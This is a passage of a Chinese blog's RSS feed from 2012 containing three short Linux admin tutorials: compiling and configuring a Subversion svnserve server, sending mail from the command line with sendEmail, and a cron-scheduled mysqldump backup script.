GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/372711.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/372711.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/372711.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/372711.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/372711.html</trackback:ping><description><![CDATA[<p style="line-height: normal; font-family: Arial; background-color: #ffffff; "><strong>第一章 安装</strong></p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">1. 采用源文件编译安装。源文件共两个，为：<br />subversion-1.6.1.tar.gz （subversion 源文件）<br />subversion-deps-1.6.1.tar.gz （subversion依赖文件）<br />注意文件版本必须一致,否则很容易产生各种奇怪的问题.</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">2. 上传以上两个文件到服务器上，解压。解压命令为：</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">tar xfvz subversion-1.6.1.tar.gz tar xfvz subversion-deps-1.6.1.tar.gz</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">指令简介：tar 为解压命令，xfvz为tar命令的参数，用于解压tar.gz格式压缩的文件。<br /><br />3. 解压后生成 subversion-1.6.1 子目录，两个压缩包解压后都会自动放到此目录下，不用手动更改。</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">4. 进入解压子目录：</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">cd subversion-1.6.1</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">5. 执行 ./configure &#8211;prefix=/opt/subversion 进行配置设定并指明安装目录. 注意prefix前是两个减号. 默认不带BDB包, 所以默认使用的是FSFS模式. 若想使用BDB模式需另外下载BDB包.建议使用FSFS模式.两种模式比较参考以下链接:</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">http://doc.iusesvn.com/show-21-1.html</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">指令简介：configure命令用于检查安装平台和目标特征，prefix用于指定路径。</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">6. 执行 make 编译.</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">7. 执行 make install 安装.</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">8. 添加环境变量:</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">vi /etc/profile</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">在文件最后加入:<br />SVNPATH=$PATH:/opt/subversion/bin<br />export SVNPATH</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">9. 测试SVN是否安装成功,执行:</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">svnserve --version</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">如果显示版本信息, 则安装成功.</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; "><strong>第二章 配置</strong></p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">本系统采用为每个项目单独建一版本库的策略。配置文件，密码文件，访问控制文件等都放在版本库的conf目录下。所以每次开始一个新项目都必须新建一个版本库，并重新配置各配置文件。还有很重要的一条，要求各组员重新配置客户端，包括服务器版本库路径，本地路径等信息。</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">1. 建立版本库目录(可建立多个，新建库后以下各项都需重新配置。注意区别安装目录与版本库目录,以下讲的都是版本库目录)</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">mkdir &#8211;p /opt/svndata/repos</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">2. 建立svn版本库(与上面目录对应)</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">svnadmin create /opt/svndata/repos</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">执行此命令后svn自动在repos目录下添加必须的配置文件.<br />注意:版本库不同于一般的文件夹, 直接在操作系统上新建文件无法被SVN识别, 必须使用import等命令将文件导入版本库.<br />此为svn内部指令，create用于新建版本库。请使用svn help查看详细说明。</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">3. 修改版本库配置文件</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">vi /opt/svndata/repos/conf/svnserve.conf</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">各参数功能在配置文件的注释中有说明, 此处配置如下:<br />[general]<br />anon-access = none # 使非授权用户无法访问<br />auth-access = write # 使授权用户有写权限<br />password-db = /opt/svndata/repos/conf/pwd.conf # 指明密码文件路径<br />authz-db = /opt/svndata/repos/conf/authz.conf # 访问控制文件<br />realm = /opt/svndata/repos # 认证命名空间，subversion会在认证提示里显示，并且作为凭证缓存的关键字。<br />其它采用默认配置. 各语句都必须顶格写, 左侧不能留空格, 否则会出错.<br />其中pwd.conf 与 authz.conf 在新建版本库时系统不会自动创建，需要自己创建。<br />指令简介：这是svn配置文件的格式，请按照以上格式书写。</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">4. 配置用户</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">vi /opt/svndata/repos/conf/pwd.conf</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">输入以下内容：<br />[users]<br />username1 = password1<br />username2 = password2<br />可以添加多个，此为用户名密码对。</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">5. 配置权限<br />vi /opt/svndata/repos/conf/authz.conf<br />指令简介：此配置文件采用&#8220;基于路径的授权&#8221;策略，中括号里指定路径，以下列出对各用户的授权。包括只读r，读写rw。没有列出的用户，则不允许访问。还可以对用户分组，具体请参考svn手册，以下是简单例子：<br />[/opt/svndata/repos]<br />user1 = rw<br />user2 = r</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">6. 使用import导入文件<br />新建好的版本库是空的，需要导入工作目录。</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">$ svnadmin create /usr/local/svn/newrepos $ svnimport mytree file:///usr/local/svn/newrepos/some/project</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">但是在导入后,用来的目录树并没有转换成工作拷贝，为了开始工作，还是需要运行svn checkout导出一个工作拷贝。因为导入后，文件在版本库中是以特殊的形式存在db文件夹中的，不能以明文的方式查看。必须使用svn checkout导出工作副本（workcopy）才能以正常方式查看。</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">svn checkout file:///usr/local/svn/newrepos/some/project workcopy</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">7. 启动服务<br />执行svnserve &#8211;d &#8211;r /opt/svndata/repos/ 启动服务, 以deamon方式运行。<br />本系统采用svnserve方式, 这是小团队项目的推荐方法. 这种方法维护最少, 配置最简单.<br />指令简介：此指令用于启动svn服务，-d指明以守护模式运行，svn自动在3690端口监听。3690是默认端口，可以使用&#8220;&#8211;listen-port=&#8221;或者&#8220;&#8211;listen-host=&#8221;来指定其它端口。-r选项用来指定svn服务的根目录，这样用户就可以使用相对路径访问，而不用提供完整路径。<br />使用以下命令检出：(svnserver方式)</p><pre shell;="" auto-links:=""  false;"="" style="line-height: normal; background-color: #ffffff; ">svn checkout svn://127.0.0.1/dir</pre><p style="line-height: normal; font-family: Arial; background-color: #ffffff; ">以上为示例。IP需要根据具体情况调整，dir为版本库路径，若在启动时已指定则可省略。<br />版本库信息在版本库文件夹里，所以要删除版本库只需要删除版本库所在的文件夹即可。<br />另外工作副本只是自己维护的文件夹，可以用Windows直接删掉，对别人没有影响。千万不要使用版本库的删除命令，否则版本库里的内容也会被删除。</p><p style="line-height: normal; font-family: Arial; background-color: #ffffff; "><a target="_blank" href="http://blog.sitearth.com/svn%E6%9C%8D%E5%8A%A1%E5%99%A8%E9%85%8D%E7%BD%AE%E5%8F%8A%E7%94%A8%E6%88%B7%E7%AE%A1%E7%90%86/">http://blog.sitearth.com/svn服务器配置及用户管理/</a></p><img src ="http://www.blogjava.net/kxbin/aggbug/372711.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-03-26 14:59 <a href="http://www.blogjava.net/kxbin/articles/372711.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>命令行下发送邮件sendEmail</title><link>http://www.blogjava.net/kxbin/articles/372219.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Mon, 19 Mar 2012 13:24:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/372219.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/372219.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/372219.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/372219.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/372219.html</trackback:ping><description><![CDATA[<div>1.安装sendEmail<br />2.发送 用你的邮箱aaa<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#97;&#97;&#97;&#64;&#113;&#113;&#46;&#99;&#111;&#109;">@qq.com</a> 发送邮件到<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#98;&#98;&#98;&#64;&#113;&#113;&#46;&#99;&#111;&#109;">bbb@qq.com</a><br />&nbsp; sendEmail -s smtp.qq.com -f aaa<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#107;&#120;&#98;&#105;&#110;&#54;&#54;&#64;&#113;&#113;&#46;&#99;&#111;&#109;">@qq.com</a> -t bbb<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#50;&#52;&#51;&#49;&#53;&#49;&#52;&#51;&#55;&#64;&#113;&#113;&#46;&#99;&#111;&#109;">@qq.com</a> -u hello -m "测试数据" -a /test/databases/tm.sh -xu&nbsp;aaa -xp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xxxx -o tls=auto&nbsp;&nbsp;&nbsp; <br />&nbsp; -s smtp.qq.com 指定服务器域名，邮件发送一般通过SMTP协议实现，其域名一般为smtp.xx.com，qq邮箱服务器smtp.qq.com<br />&nbsp; -f <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#97;&#97;&#97;&#64;&#113;&#113;&#46;&#99;&#111;&#109;">aaa@qq.com</a>&nbsp;指定发送邮箱地址<br />&nbsp; -t <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#98;&#98;&#98;&#64;&#113;&#113;&#46;&#99;&#111;&#109;">bbb@qq.com</a>&nbsp;指定目的邮箱地址<br />&nbsp; -u hello 邮件标题<br />&nbsp; -m "XXX" 邮件内容，发送文件 mail.txt 换用-o message-file=mail.txt<br />&nbsp; -xu aaa 指定邮箱用户名<br />&nbsp; -xp password 指定发送邮箱的密码<br />&nbsp; -o tls=auto 加密方式，在none，tls，ssl自动选择<br />&nbsp; 邮件中粘贴福建 -a&nbsp;文件1 |&nbsp;文件2<br />&nbsp; <br /></div><img src ="http://www.blogjava.net/kxbin/aggbug/372219.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-03-19 21:24 <a href="http://www.blogjava.net/kxbin/articles/372219.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux下自动备份mysql数据库</title><link>http://www.blogjava.net/kxbin/articles/371783.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 13 Mar 2012 02:37:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/371783.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/371783.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/371783.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/371783.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/371783.html</trackback:ping><description><![CDATA[1.创建database.sh文件，内容如下：<br />&nbsp;&nbsp;#!/bin/sh<div>backupDate=`date +"%Y-%m-%d %H:%M:%S"`</div><div>mysqldump -uroot -proot tm&gt;/test/database/tm$backupDate.sql<br />2.创建任务计划</div>&nbsp;&nbsp;[root@localhost]&nbsp;crontab -e<br />&nbsp; 59 23 * * * /test/database/database.sh<img src ="http://www.blogjava.net/kxbin/aggbug/371783.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-03-13 10:37 <a href="http://www.blogjava.net/kxbin/articles/371783.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>